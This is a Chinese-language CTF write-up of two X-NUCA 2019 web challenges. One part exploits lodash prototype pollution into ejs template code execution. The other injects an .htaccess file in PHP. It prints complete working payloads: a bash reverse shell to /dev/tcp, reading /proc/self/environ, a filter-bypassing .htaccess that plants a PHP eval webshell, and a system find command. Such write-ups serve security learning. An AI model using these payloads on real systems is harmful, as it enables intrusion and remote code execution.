X-NUCA 2019 Web WP

X-NUCA 2019 Web WP

科大、中科院主办的 CTF,题目质量应该是非常不错了(比那个某空间的蛇皮脑洞题不知道要好多少,草

这里的 wp 分别是 hard_js 和 ezphp 两题的非预期解,总体而言挺有意思的,也学到了一点骚操作

hard_js

非预期解。题目原意应该是 csrf/xss 还是啥的,因为给了个 bot。但是看到 json 转义我就懒得去绕了,直接用 Debugger 去调试拿到了shell

0x00 概览

题目是给了源码的,可以看到后端是 express 写的,数据库用了 mysql,预处理执行 sql 语句,因此可以断定这里是没有 SQL 注入的

题目源码给了 bot,所以应该是 csrf/xss 一类,但是没有看懂具体逻辑,很迷

注意到给了 package.json,因而很有可能依赖库存在漏洞

0x01 审计

注意到 lodash 这个库,前一段时间刚刚爆出来一个高危漏洞,就是 js 的原型链污染 (至于 js 原型链污染原理啥的,可以去康康p牛的博客)

package.json 看了下对应的棒版本,刚好是最后一个未被修复的版本,而且锁了版本。这里可以断定是有 js 原型链污染的。

确定了有原型链污染,就要想这个污染有什么用

审计代码发现,代码本身只有一个用处

function auth(req,res,next){
    // var session = req.session;
    if(!req.session.login || !req.session.userid ){
        res.redirect(302,"/login");
    } else{
        next();
    }
}

因为原型链污染,我们可以控制这个中间件函数,给 Object 赋值成员 loginuserid,这样使得我们可以直接可以以admin用户登录(事实上根本不用登陆,直接就是admin了)

这里 payload 和网上的不太一样,因为先有个存入数据库的过程,调用了 JSON.stringify,这样如果使用 __proto__ 来污染 ObjectJSON.stringify 以后就变为了一个空对象字符串,被取出来合并的时候也会被解析为一个空的对象。因此这里并不能直接用 __proto__ 污染原型链。

但是好在,js 的对象还有一个构造函数 constructor,其中 prototype 也指向了其父类,并且在序列化的时候可以保留下来,因此我们可以用 prototype 来污染原型链。

这里构造一个测试的payload

{"type": "fuck", "content": {"constructor": {"prototype": {"login": true, "userid": 1}}}}

注意到源代码 221 行

newContent[req.body.type] = [ req.body.content ]

这样我们就给一个对象的一个成员的数组元素赋值成了一个对象(有点绕口,可以用 Debugger 观察 newContent 对象)

这样,我们初步把需要污染的变量存入了数据库,接下来我们需要触发原型链污染

注意到源代码 182 行

lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

因为有 JSON.parse,从数据库里面取出来的字符串会被反序列化为对象,这个对象的 prototype 就被我们注入了恶意的成员。再被 lodash.defaultsDeep 与一个空对象合并,这样污染了 Object。从 Debugger 上面我们能看到 Object 已经有了成员 login: trueuserid: 1

清除 cookie,直接访问,可以发现我们已经直接以 admin 用户登入了

0x02 getshell

到了这里,就很迷了,这个 admin 有啥用呢?其实我到最后也没想出来有啥用,对我而言只是验证了 payload 有效,原型链污染漏洞存在而已

xss 是不可能 xss 的,这任务就丢给队友了。因为我对 js 很熟,所以决定去调试代码来康康有没有直接 getshell 的点

因为用到了 ejs 的模版,因此决定从 ejs 模版渲染入手,一步步调试来看有没有注入的点

ejs Code Injection

源代码 73 – 75 行

app.get("/",auth,function(req,res,next){
    res.render('index');
})

具体看这篇 Express+lodash+ejs: 从原型链污染到RCE

0x03 总结

之后就比较方便了

提交 payload 交 6 次

{"type": "fuck", "content": {"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"/bin/bash -i > /dev/tcp/ip/port 0<&1 2>&1\"'); //"}}}}

然后访问 /get 触发原型链污染,访问 / 触发 ejs 模版渲染,拿到 shell

根据 robot.py 来看,flag应该在环境变量里面,直接执行

cat /proc/self/environ

拿到 flag

ezphp

同样,这题也是非预期解,懒得写太多了,直接复制粘贴算了

<?php 
    $files = scandir('./');  
    foreach($files as $file) { 
        if(is_file($file)){ 
            if ($file !== "index.php") { 
                unlink($file); 
            } 
        } 
    } 
    include_once("fl3g.php"); 
    if(!isset($_GET['content']) || !isset($_GET['filename'])) { 
        highlight_file(__FILE__); 
        die(); 
    } 
    $content = $_GET['content']; 
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { 
        echo "Hacker"; 
        die(); 
    } 
    $filename = $_GET['filename']; 
    if(preg_match("/[^a-z\.]/", $filename) == 1) { 
        echo "Hacker"; 
        die(); 
    } 
    $files = scandir('./');  
    foreach($files as $file) { 
        if(is_file($file)){ 
            if ($file !== "index.php") { 
                unlink($file); 
            } 
        } 
    } 
    file_put_contents($filename, $content . "\nJust one chance"); 
?>

.php 文件可以上传,但是没被解析为 php 文件
.htaccess 文件可以上传,但是500了,这是由于末尾脏数据的影响

末尾单独加一行,反斜杠会变成连接符,连接下一行的脏数据,这样不会500

# fuck!! \

同样利用多行拼接绕过内容关键词的过滤

最终payload

?filename=.htaccess&content=<Fil\%0aes ~ "^\.ht">%0a%20%20Require all granted%0a%20%20Order allow,deny%0a%20%20Allow from all%0a</Fil\%0aes>%0aAddTy\%0ape applicatio\%0an/x-httpd-php%20.htaccess%0a<Fil\%0aesMatch "^\.ht">%0a%20%20SetHandler applicatio\%0an/x-httpd-php%0a</Fil\%0aesMatch>%0aphp_value%20auto_prepend_fi\%0ale%20.htaccess%0aphp_fl\%0aag%20engine%201%0a%23%20<?php eval($_GET[x]); ?>%0a%23Fuck\

然后找一下 flag

system(%27find%20/%20-type%20f%20-name%20"flag*"%27);

/root/flag.txt,然后cat一下就行了

1 条评论

发表回复

*